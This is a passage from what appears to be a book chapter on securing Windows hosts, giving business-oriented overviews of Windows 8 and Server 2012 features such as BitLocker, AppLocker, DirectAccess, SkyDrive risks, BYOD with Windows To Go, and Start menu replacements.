BranchCache is WAN bandwidth optimization technology and is included in some editions of Windows Server 2012 and Windows 8 Enterprise. BranchCache copies content from your main office servers or hosted cloud content serves and caches the content at branch office locations.

Where does BranchCache store the data? Your data is stored either on servers at the branch office that are configured for hosting the cache or, if no server is available at your branch location, directly on computers running Windows 8 or even Windows 7. After a branch computer requests and receives content from the main office over the WAN, that content is cached at the branch office. This allows data to transfer once over the WAN and then be accessed multiple times as needed by users in the branch office.

There are four main improvements that create additional benefit for you.

• Simplified Group Policy Configuration: Prior versions of BranchCache required your IT staff to deploy an Active Directory Group Policy Object (GPO) for every branch office in the organization in order to enable BranchCache. In the new release a single GPO contains all the necessary information for every branch office in the organization. BranchCache will also automatically update and reconfigure settings when a branch office moves from peer-to-peer cache hosting to a server.

SECURIN

G W

IND

OW

S HO

ST

295

• Integration with Data Duplication: In the past BranchCache had to process each file requested by a branch office and divide large files into small pieces and eliminate duplicate data to optimize trans-mission across the WAN. In the new release, if the main office server is already using this technology, BranchCache does not have to do any additional processing. It can use the data that is already opti-mized.

• Multiple Hosted Cache Server Support: Some organizations have large branch offices. This new release of BranchCache allows more than one hosted cache server per branch office. This means as your branch office grows and needs increase, you can add servers to remain responsive and cache more data as needed.

• Automatic Encryption: With Windows Server 2012, cached content is automatically encrypted to provide enhanced security. You don’t have to worry about information leaks at the cache level with this feature.

BranchCache supports two cache modes. You can implement it using Distributed Cache mode or Hosted Cache mode, depending on your needs and requirements. In Hosted Cache mode, a cache server is desig-nated at the branch office and becomes the central repository of data that is downloaded from the central office. You don’t need a dedicated server, but can use space on an existing server at the local branch. When a file is requested, the central server authenticates the request and sends the metadata for the file to the host-ed cache. The hosted cache repository is then searched for the data. It is only sent from the central server if it can’t be located in the cache.

In Distributed Cache mode, the cache is housed on each individual client machine. When a file is requested, the central server is contacted and the client’s computer is pointed to another client’s cache repository. If the file is not located on another machine within the branch office, the file is then retrieved from the central server and cached on the requesting client’s machine. This system is best for a small office with only a few machines since it does not required a host cache and is easier to deploy.

DirectAccess

SECU

RIN

G W

IND

OW

S H

OST

296

Does your business utilize a Virtual Private Network (VPN) to allow employees remote access to your in-tranet, servers and company data when working remotely? If so, you may be interested in DirectAccess, Windows 8’s answer to a VPN.

Traditional VPN systems require users to log in following an established protocol in order to obtain a secure connection and begin accessing your company’s intranet and data. This protocol uses a VPN client and regis-try. When your employees want to log on they must run the application and use a password to authorize the VPN.

DirectAccess bypasses this traditional protocol. It automatically establishes a bi-directional connection from client computers to the corporate network without requiring your employees to enter a password or wait for a connection. Your employees can simply work as if they were in the office even while remote.

DirectAccess uses advanced encryption, authorization and authorization technologies to allow secure data sharing from all points via the internet. The configuration is relatively simple for your IT team and is available in three configurations depending on the position of your DirectAccess server.

• Edge Deployment: In this configuration the DirectAccess server is located on the edge of your firewall and exposed to the internet. This configuration requires two network adapters, one inside the firewall and private and the other public and exposed to the internet.

• Back Topology: In this configuration the DirectAccess server is located behind your firewall and is not exposed to the internet. This configuration also requires two network adapters, one inside the firewall and private and the other public and exposed to the internet.

• Single Network Adaptor: In this configuration the DirectAccess server is located only in a private intranet setting. This configuration only requires one network adaptor card for the internal network, hence the name.

DirectAccess setup requires your organization to identify computers requiring remote access and register them with the server for authentication. Connectivity and security policies are then defined on the Direc-tAccess server and control access to the intranet. You define the areas of your network that are available remotely, and you are ready to get started.

What are the benefits of Windows 8 DirectAccess? The primary benefit is enhanced security. Your team can securely access your intranet while taking advantage of the enhanced security features of the Windows 8 operating system. This means any remote device using Windows 8 Enterprise can work effectively on your intranet without a VPN.

Windows 8 DirectAccess creates an encryption tunnel on the internet for the free transfer of information. This tunnel allows the user experience to be as fast and smooth as it is when they are in your office and be-hind your firewall. It does not require frequent logins or access maintenance and even allows remote com-puter management without an established VPN connection.

Will this make a significant difference in your organization? That depends on your situation. If you allow many of your employees to work remotely or telecommute this can be a great solution. As the changing em-ployment picture moves to virtual teams at multiple locations and remotely, DirectAccess can significantly improve productivity vs. the traditional VPN.

SECURIN

G W

IND

OW

S HO

ST

297

Server Manager

Windows Server Manager allows your team to manage all the remote servers in your network from one centralized console as long as they are running Windows Server 2012. You can also, in some cases, use these tools to manage roles and features of servers running Windows Server 2008 as well.

You no longer need to remote in to each server to change roles or update policies. Administrators can use these management tools right on their desktop. This feature was available in previous Windows Server addi-tions, but is completely new in Windows Server 2012.

Server Manager was rewritten from the ground up and focuses on giving you true multi-server support from a single console. It’s quite a change from the MMC-based Server Manager and looks complete different. Once you learn how to navigate the interface, however, you will find it a powerful addition to your toolbox.

Server Manager defaults to the Dashboard configuration view for the local server. On the left side is the pri-mary navigation pane that includes the All Servers group by default. You will also see groups such as File and Storage Services, Remote Desktop Services, and other. Clicking on one of these groups exposes a secondary navigation pane that shows the management hierarchy for that role. You can select entries in this secondary pane to select tasks related to the topic. Most of your management work can then be accomplished, right from this secondary pane.

Server Manager includes a tools menu that lets you launch the most commonly used administrative tools and application right from within Server Manager. You can use the tools and the command bar to perform global tasks that are not specific to an individual server or group. Updating or maintaining an individual server requires you to select that server from “All Servers” or another group listing and then move forward with your desired task.

SECU

RIN

G W

IND

OW

S H

OST

298

Server Manager does use the Windows 8 tiled interface. It may take a little while for you to adapt to this change. It’s worth the effort, however. The new Server Manager gives you easy visibility to your entire server fleet and is an incredible time saver. The ability to manage any server, even remote servers, from your office and desktop is powerful.

The centralized dashboard includes visual alerts that help you monitor issues on your entire network. These alerts include red and green stoplight type symbols along with messages, making it easy to assess the func-tions of the system from a quick glance. The reassuring green bar means everything is fine and there’s no need to dig deeper. Red anywhere indicates an alert that requires IT attention.

Global management of servers within a group is quite a time saver, but comes with a certain amount of risk. Before you use Server Manager, you will want to create specific change management policies to control decision making within IT. It’s important to prevent one bad decision from impacting your entire server fleet.

Windows Defender

Windows Defender is an antispyware program for Windows operating systems. It provides protection from spyware and malware as well as post infection scanning and removal of these types of programs from your system. It’s pretty powerful, and it is a useful tool that provides three scanning options.

• Quick Scan: You can run a quick scan of the most common and vulnerable areas of a computer or sys-tem. Run from the start menu, you simply click the scan icon and select Quick Scan to find and eliminate problems.

• Full Scan: This scan reviews your computer completely. It takes a bit longer than a quick scan, but is effective at eliminating issues from a system.

• Custom Scan: If you suspect an issue in a selected drive or folder, you have the option of running a cus-tom scan. This gives you the speed of a quick scan but the targeted focus of a specific area. Simply select custom scan and then highlight the drives or folder you wish to scan.

With Windows Defender you can conduct scans upon request or you can schedule them to happen at inter-vals and times you prefer. For example, you can set each computer to run a quick scan every morning at 2am or a full scan weekly on Sunday afternoon. Real time protection is enabled by default as well. This feature protects systems constantly by monitoring for spyware and other threats while users browse the web.

While Windows Defender is part of the standard Windows 8 installation, Microsoft has allowed OEMs to dis-able this feature and load other software such as McAffee or Norton instead. Why? Well, OEMs make a lot of money from including trail versions of these other security systems as part of the bundled software packag-es on boxed PCs. If Windows Defender is deactivated on machines you bring into your organization, it does not automatically run unless turned on.

Activating Windows Defender is simple, but is a necessary step you should be aware of to avoid security breaches in your system.

SECURIN

G W

IND

OW

S HO

ST

299

BitLocker

Windows BitLocker Drive Encryption is a data-protection feature that encrypts the hard drives on computers and provides protection against data theft or exposure on computers and removable drives that are lost or stolen. It allows secure data deletion when protected computers are decommissioned by making it difficult to recover deleted data from an encrypted drive.

BitLocker encrypts the entire Windows operating system on the hard disk, including user files, system files as well as swap files and hibernation files. It checks the integrity of early boot components and boot configu-ration data and uses the enhanced security capabilities of the TPM to make sure data is accessible only if the boot components are unaltered.

BitLocker has been around since Windows Vista, but is significantly improved in Windows 8. Protection is now extended to cluster volumes and SAN storage, and is easier to enable than before. Let’s look at some of the new enhancements to BitLocker.

• Pre-Provisioning: Administrators can enable BitLocker for a volume before Windows 8 is installed. Win-dows generates a random encryption key that BitLocker uses to encrypt the volume you set. You can enable this feature from the Windows Preinstallation Environment (WinPE) by using the manage-bde BitLocker command-line utility.

• Used Disk Space Only Encryption: Previous versions of BitLocker encrypted the entire volume, even if it was empty disk space. With Windows 8, you can now choose to encrypt only the used space in a volume. This means enabling BitLocker on a largely empty volume takes only a few seconds. This feature is best used on new PCs or volumes only, since the free space on used volumes can still hold valuable data that is retrievable. Only the full encryption option will protect this information.

• Standard User PIN and Password Change: With Windows 8, your standard users are allowed to change a volume’s BitLocker PIN or password. Of course, they can only change it if they know the original pass-word – so you can still control access if you like. This feature can make BitLocker deployment easier for you, since you can set the same PIN and password for each PC during the automated deployment process. Users can then change their PIN and password after installation. Make sure you establish a pass-word protocol, however, to guard against user selected PINs and passwords that are simple and easy to hack.

SECU

RIN

G W

IND

OW

S H

OST

300

Centralized Backup

Windows 8 has a completely redesigned backup system developed due to the unpopularity of the system in Windows 7. Very few PCs used the Windows Backup feature, so that has been scrapped in favor of Windows 8’s File Histories.

With Windows 8, you can no longer create system images or back up everything on a hard drive. Instead, files are backed up in groups such as libraries, desktop files, or browser favorites. File History is designed to create a continuous backup of the entire system, backing up documents automatically including the most recent changes made by users.

The system is centralized for all PC’s and for the servers as well. While image capability is not available at a PC level, the backup capability includes an image based system at the server level. You can even configure a partition and back up the server for restoration after an issue if you like.

Centralized backup takes the decision to protect data out of the user’s hands by automating it. File History syncs every hour unless you configure it otherwise. You can map backups to cloud storage if you like, resolv-ing the issue of onsite backup locations in the event of a catastrophic event.

File History is disabled by default in Windows 8. You will need to enable it from the Windows 8 control panel if you decide to use this feature in your organization. You can still run Windows Backup along with File Histo-ry if you need to restore files form backup sets created in Windows 7, making the system flexible according to your needs.

SECURIN

G W

IND

OW

S HO

ST

301

AppLocker

AppLocker is Microsoft’s solution for application control. AppLocker is nothing new; it was introduced as a part of Windows 7. With Windows Server 2012 and Windows 8 it was expanded to include the Modern UI applications used with Windows 8 and Windows RT.

AppLocker allows network administrators to create policies that either restrict specific applications from running on the network and allow all others or allow only certain applications and restrict all others. This is accomplished by creating either blacklists or whitelists of applications. Users are restricted from download-ing or running applications based on these lists.

AppLocker is useful to business in many ways. It reduces administrative overhead for your organization by decreasing the number of help desk calls that are a direct result of your team running unapproved applica-tions. Just this reduction in network disruption alone can provide a significant savings for you, depending on the size of your network. AppLocker helps your team in other ways as well.

• Application Inventory: In audit=only mode AppLocker will register all application access activity in event logs. These events are collected and can be analyzed by your team. You will know what applications are being run in your organization and by whom.

• Protection against Unwanted Software: AppLocker prevents applications from running when you exclude them from a list of allowed applications. These rules protect your organization from any applica-tion that is not covered by the allowed rules. It simply cannot execute and run.

• Licensing Conformance: With AppLocker you can create rules that prevent unlicensed software from running on your network. You can also create rules to assign and restrict licensed software to authorized users only.

• Software Standardization: You can configure AppLocker policies to allow only approved programs and applications to run on computers within a defined user or business group. This allows you to create a uniform application deployment across departments or levels of your organization.

SECU

RIN

G W

IND

OW

S H

OST

302

AppLocker is most valuable as a security and administration tool for your business. Information is one of your organization’s most valuable assets, and protecting it is a primary concern of information technology.

When a user runs a process, the process has the same level of access to the data that the user has. This is not a problem when running approved software applications. What if a member of your team runs malicious software, even by accident? Sensitive information can easily be deleted or even transmitted outside of your organization. AppLocker prevents these scenarios by restricting the files that users are allowed to run.

AppLocker assists administratively in many common business scenarios. When an application is no longer supported you can restrict it using AppLocker. This prevents it from being used by your team. Similarly, when a new or updated version of an application is deployed you can prevent users from running the previ-ous version.

Perhaps you have a single employee or group of employees that needs to use specific applications. If these applications are denied to other employees you can easily restrict access with AppLocker. You can also restrict access to applications by users of a shared computer. Each user logs in and is granted an individual level of access.

AppLocker helps you protect your sensitive information and reduces security threats. It is available through Windows 7 Ultimate or Windows 8 Enterprise. The only significant difference between the two versions is the capability of restricting or allowing Modern UI style applications which is available in Windows 8 Enterprise.

Virtualization and Hyper-V

Windows 8 uses Hyper-V to drive virtualization for your organization. When combined with Remote FX and other technology that is a part of Windows Server 2012, your organization has several ways to implement a strong virtualization strategy.

SECURIN

G W

IND

OW

S HO

ST

303

Virtualization is a technique used in information technology involving creating a virtual, or trial, version of an operating system, hardware platform, or other computer network resource within an existing and oper-ating actual system. It’s used by developers as they work on creating a new system or making changes to an existing one. It’s also used by information technology professionals to make desktop deployment easier and to test software and operating systems prior to deployment.

Hyper-V Virtualization is technology and software developed by Microsoft that allows a virtual system to run within an existing Microsoft system. Hyper-V Virtualization is not a new development; it has been around for some time. In the past it was only available on server level operating systems. Microsoft has now decided to include in with Windows 8. Hyper-V Virtualization is built into Windows 8, allowing users to work with it without having to download or install any additional tools.

In earlier versions of Windows, Hyper-V used three main storage options: direct attached storage, iSCSI Sans, and Fibre channel SANs. With Windows 8 storage is enhanced making it possible to pool virtual machines.

There are new features in with Windows 8 that allow your organization’s administrators to better manage virtual machines and the number of monitors that can be used at specific resolutions. Let’s look at each of these new features.

• GPU Management: Windows 8 includes a GPU management user interface in the Hyper-V management console. This gives your information technology team a better understanding of the GPUs installed in the server and the ones that are good candidates for associating with a virtual machine. It also allows your team to filter out GPUs that are used for server management only so they are not used with Re-moteFX.

• Multimonitor Support: In the past, RemoteFX limited the number of monitors that could be used with a virtual machine as the screen resolution was increased. With Windows 8 this limitation is gone and a virtual machine can support the same number of monitors regardless of the resolution of the monitors.

This new version of Hyper-V enhances the productivity and efficiency of your IT system in a few significant ways. First, this version enhances the flexibility of your business by allowing live migration of virtual ma-chines. This means you can move things around and swap storage locations without bringing machines down and with few limitations. This allows administrators to work behind the scenes without impacting organization productivity or disrupting users.

This new version of Hyper-V allows your business to support larger workloads. As your business grows and changes, you can adapt quickly. You can use up to 64 virtual processors and 4000 virtual machines per clus-ter. This means you can grow significantly before you need to consider other options.

Hyper-V now works in conjunction with Microsoft System Center 2012 to help your team automate many of the virtual management functions they previously completed manually. This benefit reserves your valuable technology time and resources for other functions in your organization.

SECU

RIN

G W

IND

OW

S H

OST

304

User Level Security Issues

Windows 8 is designed primarily for a consumer driven market. This decision is apparent in the tiled user interface and the prominent role social media plays in the Windows 8 environment. Applications like Face-book, Twitter, and LinkedIn have live tiles that update automatically with posts and contacts.

This live interaction is ideal for individuals who are highly socially connected. Increasingly that group in-cludes your users and employees. Depending on your work culture, you may have some kind of policy in place that limits the use of social media on company time. Windows 8 will make violating that policy more tempting for your team.

If, however, your business is moving in a direction that encourages interaction via social media, Windows 8 may simplify contact for your team. Your sales and marketing group as well as in field service employees may use social media as a way to network and maintain contact with your customers. In this case, the in-creased visibility and connectivity of social media within Windows 8 will be a benefit for your organization.

Either way, it’s important for IT to consider the role social media plays in your organization and the limits you want to place on it if you upgrade. With Windows 8 Enterprise you can use AppLocker to restrict social media applications and decide which devices, if any, will have access to them.

Restricting social media limits the exposure your data has to the Internet as a whole. It protects user produc-tivity as well. If social media is allowed, you may want to establish limits on data that can be shared, upload-ed, or downloaded from within these applications.

SECURIN

G W

IND

OW

S HO

ST

305

SkyDrive

SkyDrive is the cloud computing application created by Microsoft. SkyDrive has been around for a while but is now fully integrated into Windows 8. When you choose to upgrade your organization to Windows 8, you automatically receive SkyDrive as part of the package.

SkyDrive is installed by default with the operating system and is available on the start screen as soon as your users boot up their PCs or mobile devices. At least, it is unless you decide to use AppLocker and block access to this application from within your organization.

SkyDrive works like other consumer based cloud applications. You may be familiar with Dropbox, Box, or iCloud. These competitors are very similar to SkyDrive. SkyDrive offers users 7GB of storage space in the cloud for free and allows individuals to purchase more space if they like.

Using SkyDrive is simple. Users open up the app and drag files into one of the folders. The folders are auto-matically synched with Microsoft’s servers and the data is stored in the cloud. The app works from PCs or mobile devices like tablets or smart phones. All you need is the app and an internet connection.

Users can sync any folder on their PC into their SkyDrive folder automatically if they want. Normally folders must be dragged into the app in order to sync, but your employees can add a shell app available on the internet to provide automatic syncing by including an option to “Sync with SkyDrive” within their Windows Explorer screen.

SkyDrive is enhanced with Microsoft Word capability. Your employees can use Word to edit documents from their web browser and the SkyDrive app. Changes are immediately made in the cloud, giving your team enhanced productivity when working remotely.

SkyDrive can be very useful for collaborative work and remote file sharing. It seems like a simple decision for enterprises, but allowing SkyDrive on your network does expose your organization to some risks you may not have considered. Personal cloud accounts like SkyDrive and its competitors bypass the normal security protocols and protections established within your network. Sure, an employee can use SkyDrive to enhance productivity and work remotely. Unfortunately, they can also use SkyDrive to transfer company information outside the network. Once data is in the cloud, your organization loses control of its security or its use.

As an IT professional, you should seriously consider how you want to use and deploy SkyDrive. It is incred-ibly risky to allow free access to SkyDrive from every device in your organization. Instead, consider using AppLocker to pin down use of SkyDrive to limited scenarios or block it completely.

With AppLocker you can prevent SkyDrive from loading and executing on any device that shares your network. If you see value in SkyDrive for some employees or workgroups, AppLocker can help you restrict access to only those individuals you wish to allow.

Microsoft will probably provide other enterprise level security measures for SkyDrive at some point. Current-ly, however, those protections are not available within the app itself. SE

CURI

NG

WIN

DO

WS

HO

ST

306

BYOD and WindowsToGo

Businesses are increasingly adopting a policy of BYOD. This stands for Bring Your Own Device and is a busi-ness policy that allows employees to bring their personal laptops, smart phones and other mobile devices to work. These devices are loaded with company owned software and given access to private company net-works and data.

The goal of BYOD is to increase the workplace options employees have and increase mobility and tele-commuting without the expense of providing these devices to employees. Employees benefit from having increased mobility and the convenience of personal and work related information on a single device. Em-ployers benefit from increased accessibility to employees and increased mobile capability without investing in the mobile devices themselves.

• Is your business considering adopting a BYOD policy? If so, you must plan prior to implementing BYOD in your organization. Here are just a few issues and challenges your business will face.

• How will your organization support employee devices? Will you need additional IT staff or capability?

• How will you maintain the security and confidentiality of your sensitive company data in a BYOD envi-ronment?

• Will you limit personal apps? Will you restrict the access those apps have to your company data?

• What will happen if an employee owned device with company data is lost or stolen?

• When an employee leaves your organization, how will you remove data from their

• personal device and restrict future access?

• What about your company’s internet usage policies? Will you restrict employee access on their personal device during non-business hours?

• Who is responsible for lost personal files or employee data as the device is maintained? What if you acci-dentally delete that critical personal file on your employee’s tablet?

SECURIN

G W

IND

OW

S HO

ST

307

Blending personally owned devices and personal applications with company business creates new ethical and security issues you may not have considered. You can minimize your risks by planning ahead and proac-tively establishing a policy prior to adopting BYOD.

Review your company’s current security policies. Your organization should already have internet usage and security policies that control employee access to protected data. These policies can often be adapted to include personally owned smart phones, tablets, and laptops.

Decide which devices your company will support. Control your company’s support responsibility by limiting BYOD to specific devices. Which smart phones and tablets will you support and which will you exclude? Re-quire employees who are interested in bringing their own device to supply one from your list of acceptable devices. This allows you to continue to support company supplied hardware while maintaining a limited BYOD fleet.

Establish a defined service policy for employee owned devices. What if your employee drops his smart phone and breaks the display? What if she spills coffee all over her tablet? Will your company assume the responsibility for this level of repair and maintenance? A clearly defined service policy is essential prior to implementing BYOD.

Require security measures including a complex password or PIN. People generally avoid complex passwords on their personal devices. They frequently disable the screen lock functions or use a simple and repetitive motion or code to release the user interface. That’s fine if the most important information on the device is a recent Facebook post. It won’t work for your company’s important data.

Determine which apps are allowed and which are banned. Restrict applications based on your organization’s internet usage policies. Understand, of course, your employee’s interest in social media and other personal apps that are normally not appropriate for work situations. Consider also the synchronization feature of many apps. Synchronization can create an unintended portal into your company network and a security risk for your data. You will want to limit this portal and protect data if at all possible.

Clarify ownership of applications and data. It seems logical that you own your company’s data and the employee owns personal applications and data, doesn’t it? No problem, at least until the device is lost or the employee leaves the company. When you wipe all data from the device, whether on site or remotely, employee data goes with it. Some of this employee data, such as photos and messages, is gone forever. To protect yourself and your employees clearly reserve the right to clear all data from the device and help your employees learn how to back up their personal information so they can restore it later. If your organization decides to adopt BYOD, you will want to understand and implement Windows To Go. Even without BYOD, Windows To Go is a great feature of Windows 8 that makes company owned mobile devices safer and easy to administer.

Windows To Go is a feature of Windows 8 Enterprise that allows the operating system to start up and run from a USB device. Windows 8 Enterprise is the only version of Windows 8 with this feature. You must have Windows 8 Enterprise, available only through Software Assurance which is one of the volume licensing sce-narios available for your business.

Windows To Go does not actually install Windows 8 from a USB drive. The Windows 8 operating system never leaves the USB drive and does not become a part of the device using the USB drive. Instead Windows To Go actually allows your employee to run Windows 8 Enterprise from the USB drive itself.

If the USB drive is removed the entire system pauses for 60 seconds. If the USB drive is replaced within that 60 second time period the system just picks up right where it left off. If the USB drive is not replaced during that time, however, the computer shuts down and Windows 8 will no longer run. This security feature pro-tects your company specific data.

SECU

RIN

G W

IND

OW

S H

OST

308

Windows To Go was designed to allow businesses to provide employees with a complete Windows 8 work environment they can use effectively on their personal devices and home computers. This innovation allows employees to take their work station with them when they travel or work securely from a remote location.

Security is not a concern with Windows To Go. The content of the USB drive can be encrypted to prevent access from without authorization. Since the data on the USB drive is locked and does not transfer to the host computer, there are minimal security risks. You can more readily control your information, especially in a BYOD environment, by taking advantage of Windows To Go.

As you can imagine, Windows To Go doesn’t work with just any USB drive. Microsoft has established com-patibility requirements and has currently approved three Flash memory drives for use with Windows To Go. These three drives are Kingston Data Traveler Workspace, Super Talent Express RC8, and IronKey Workspace.

Windows To Go simplifies your administration of mobile devices in general and BYOD devices in particular. These devices do not need the same data wipe protocols with Windows To Go as they will without it. Since your data is not transferred to the employee’s device, there is no need to wipe data to remove it.

SECURIN

G W

IND

OW

S HO

ST

309

SmartScreeN

SmartScreen is a phishing and malware filter included as part of the Windows 8 operating system. It is designed to help protect users from attacks associated with downloads that infect a system. In Windows 8 it filters at the desktop level, checking the reputation by default on any file or application downloaded from the internet.

SmartScreen works by sending the source URL of downloaded material to an outside server. That URL is checked against a whitelist of safe sites. Sites are judged as safe by having a certificate purchased from Cer-tification Authorities that verify the identity of the software publisher and their reputation. If SmartScreen does not find a match it displays a warning message before users are allowed to download the file or access the application in question.

When SmartScreen was first introduced, many experts were concerned about privacy issues and the ef-fectiveness of the system. This automatic analysis of files has the potential of building a database of user download information, thus giving Microsoft a possible competitive advantage. Microsoft has addressed this issue by stating that IP addresses are collected on temporarily and are periodically deleted and that the information gathered by SmartScreen would not be used for advertising purposes or sold to third parties.

So, how effective is SmartScreen as a security protocol for your network? SmartScreen does an effective job of filtering downloads and warning users of security concerns. Unfortunately, however, users can easily bypass the warning and download the information anyway. Rather than relying on SmartScreen to control risks associated with downloads, you are wise to restrict downloads from the internet using AppLocker or other security settings on your network.

SECU

RIN

G W

IND

OW

S H

OST

310

Alternate Password

Microsoft included alternate passwords as a security feature in Windows 8. In this feature, users can choose a picture as a password rather than the usual alphanumeric passwords we are all used to. When this picture password feature is enabled, users select a photo from their image library and define three gestures on the photo using a combination of circles, straight lines, and taps using either touch or the mouse. It’s also possi-ble to switch to a PIN based authentication system along with the picture if you like.

So, do these passwords actually create an additional level of security? In some ways they are more secure. It’s more difficult for someone to guess a password given the random nature of gestures and the number of variations of images that can be used. In other ways, however, these passwords are more susceptible to hacking.

In order to set up an alternate password, a user must first establish an account using a plain text password. Unfortunately, Windows 8 stores these passwords using encryption that can be reversed. Hackers who gain control of a computer along with administrative rights can extract the key for a plaintext password and reverse the encryption to gain access.

To protect your network, it’s best to disable the picture password for your internal systems. A strong alpha-numeric password is safer, and while it’s not as convenient for your users the security benefits outweigh the convenience factor.

SECURIN

G W

IND

OW

S HO

ST

311

App Container

App Container is the security sandbox within Windows 8 that hosts apps. It offers fine-grained security per-missions and blocs write and read access to most of the system when using an app. By default, an app can only access its AppData folder and cannot directly access anything else in the system unless the user grants it access.

How does this enhance your security? Basically it protects the system from intrusive applications by keeping them contained in their own micro-environment within Windows 8. This prevents apps from disrupting the operating system.

App Container decides which actions are available to which apps. This feature runs in the background and users are not aware of it when using applications, making it virtually invisible.

App Container establishes a new integrity level in Windows 8 and uses that level to block access to objects marked with a higher integrity level. Apps can make declarations in their application manifest file about the capabilities they need to access and be allowed permission to use things like a user’s music folder in order to run. General access, however, is locked down.

App Container provides an additional layer of security against attack from hackers intent on creating a disruption. This feature, combined with Data Execution Prevention (DEP) which prevents data from being executed and Address Space Layout Randomization (ASLR) which randomizes the address space of a process make it much more difficult for an attacker to exploit system vulnerabilities.

SECU

RIN

G W

IND

OW

S H

OST

312

Start Button Alternatives

One of the biggest changes to the user experience with the Windows 8 operating system is the lack of a start button. This is one of the most difficult and surprising features for employees in an organization after an up-grade. People resist change, and the start button is a comfortable and expected part of the Windows experi-ence for most of us. It can take a long time for users to adjust and find ways to be productive without it.

Shortly after Microsoft released test versions of Windows 8 to developers, analysts and commentators, alternatives to the start button began to show up all over the internet. Quickly identified as something that would irritate most people, alternatives were quickly developed to ease user pain.

Unless you want to spend hundreds of help desk hours addressing user concerns and frustrations created by the non-existent start button, you may want to explore alternatives and select one or two to deploy in your organization. Learn them and prepare to install and support these options as users request alternatives, or possibly from day one of Windows 8 launch.

While many of the start button alternatives are free, a few have a slight cost associated with them. Some basically hack into Windows 8 to create their work around. Others lay on top of other Windows 8 features. The displays are varied and each alternative has a slightly different appearance and list of features. Here are some of the more popular alternatives.

SECURIN

G W

IND

OW

S HO

ST

313

• Power 8: This free alternative displays a start button in the usual spot on the desktop. Clicking it brings up the familiar two pane menu. There is even a search field at the bottom to allow you to find applica-tions, files or other items on your PC. You can set Power8 to auto start each time you log in to Windows 8 and even block all Modern UI features including the Charms bar. http://code.google.com/p/power8/

• Win8 StartButton: This free alternative allows you to change the look and feel of the start menu and cus-tomize it. You can disable Windows 8 hot corners if you like, add and remove commands to the menu, and change the appearance. http://windows8startbutton.com/

• Pokki for Windows 8: This alternative is very user friendly and well designed. From the created start menu you have access all of your programs and open folders such as Documents, Music, and Pictures. This contains a search field as well as a Shut Down menu with all the familiar functions such as restart, sleep, etc. There is even a folder called Windows 8 Apps which allows you to switch to the new Modern UI apps you want to use. https://www.pokki.com/

• ViStart: This alternative displays the familiar Windows 7 orb and pops up to the expected start menu. Unlike other alternatives, though, there is no customization option. What you see is what you get. It does allow you to use hot corners while it’s running and lets you toggle to Windows 8 apps if you wish. http://lee-soft.com/vistart/

• Classic Shell: This alternative is actually a collection of features from prior versions of Windows, but includes a classic start menu alternative. After you install this alternative you can choose between displaying all the settings in the normal start menu or just the basics. It allows you to quickly bypass the start screen and also allows you to search for a launch Windows 8 apps directly from a submenu. http://classicshell.sourceforge.net/

• StartMenu7: This alternative allows you to customize the look and the functionality of its start menu. You can resize the menu to take up as much or as little room as you want. You can even change the Windows orb between the classic Windows 7 look and the new Windows 8 logo. You can set up virtual groups and organize your shortcuts to increase your functionality. This application does not easily let you back into the Windows 8 world, though. There’s no good way to access your Windows 8 apps while running this program. https://www.startmenu7.com/index.html

Be sure to test these options for functionality. Since they are applications, they run within the App Contain-er sandbox and may not have complete functionality across your system. You will want to understand the limitations and instruct users in how to access everything required for their daily work flow.

SECU

RIN

G W

IND

OW

S H

OST

314

VDI Enhancements / Remote Desktop

Microsoft included a variety of Virtual Desktop Infrastructure (VDI) enhancements in Remote FX and Win-dows Server 2012 with this round of upgrades and new releases. These enhancements improve the desktop experience of users by allowing 3D graphics, USB peripherals, and touch enabled devices across any type of network.

The graphics enhancements were needed when Microsoft made the change to the Modern UI style inter-face. Since this interface is graphically driven, it makes sense that the graphics capability of the operating system needed improvement. As a result, the bright, live tiles have a greater graphic intensity than capable with previous Windows operating systems.

The VDI Enhancements include a significant improvement to Remote Desktop Services (RDS) with Win-dows Server 2012. This enhancement provides a platform for your organization to implement a centralized desktop strategy. This strategy improves flexibility and compliance as well as data security and gives you the ability to manage desktops and applications remotely through your organization. RDS is a centralized desktop and application platform that uses desktop virtualization and VDI technologies. Your team can run the desktop or applications in a datacenter while users access it from anywhere. This upgrade replaces Mic-rosoft’s Terminal Services utility and provides greater flexibility for your team.

Many businesses are using VDI to reduce the overall cost of desktop deployments. The Remote Desktop Management Service and user interface in Windows Server 2012 allows virtual machines to be easily de-ployed to hundreds of users at a time by duplicating a single master virtual machine image. Your network administrator doesn’t need to manually duplicate and create virtual machines or use complex software to manage the automatic creation of virtual machines.

Updates to virtual machines are simplified with Windows Server 2012. The VM Streaming feature allows an administrator to patch and update unused virtual machines in a pool by patching the reference virtual machine and then streaming the updated VM to the user when they next connect. This upgrade eliminat-ed downtime for updates and allows your employees to move uninterrupted through their workday with updates happening automatically on their next log in.

SECURIN

G W

IND

OW

S HO

ST

315

Windows 8 includes Remote FX to further improve the user experience. Remote FX is the set of technolo-gies that enhance the visual experience of users working remotely. Businesses today rely heavily on media consumption as a part of normal activities. In some cases team members are trained remotely using media from the corporate servers. In others demos, marketing materials and presentations are used on outside sales calls and other remote events. When you also consider the opportunities to collaborate online, work in virtual teams, and conduct webinars and virtual conference calls, you see the importance of media to your organization.

Remote FX is improved with the launch of Windows 8 and now integrates network detect, graphics profiles, and remote scenarios to create an excellent media consumption experience for your team. From their per-spective there is no difference between media use in the corporate office and media playback in a remote session.

As you would expect, multi-touch integration is a crucial aspect of the new Windows 8 operating system. In order for mobile devices to function well with Windows 8, remote sessions must support the same multi-touch gestures and manipulations used in a local setting.

Microsoft has enhanced the capability of this technology to allow a fluid and responsive touch experience even in a remote session. Users can navigate inside and between local and remote session by touch alone, making mobile devices as powerful remotely as they are locally.

Data Usage Tracking and Monitoring

Windows 8 adds a new feature that is helpful if you are paying for data usage or need to monitor it. Especial-ly useful for mobile broadband accounts that push limits toward the end of the billing period, this feature tracks your data transfers and displays the amount used since the last time you checked when you tap the network.

When you are getting close to your limit or if you use a metered service, simply select the metered service option with a right click and a tap. This disables all but vital security updates from Windows and restricts data flow on certain other sites as well.

Many mobile phone apps and features use a data connection and update at regular intervals without the user requesting an update. The mail app may check the mail server every few minutes. Social media apps may check for updates and changes in status. Data used in this way is called background data and can sig-nificantly add to the data usage charges on cell phone billings.

The data usage tracking feature allows users to see the data they are using and voluntarily limit it. As a prac-tical matter, however, most corporate users won’t concern themselves with data usage. For this reason, Task Manager in Windows 8 takes tracking and monitoring one step further. It provides a detailed history of data usage and a chart with connection performance. If your organization owns the device your team member is using, this tracking allows you to monitor sources of data transfer so you can limit usage if needed.

SECU

RIN

G W

IND

OW

S H

OST

316

Securing Linux

Introduction

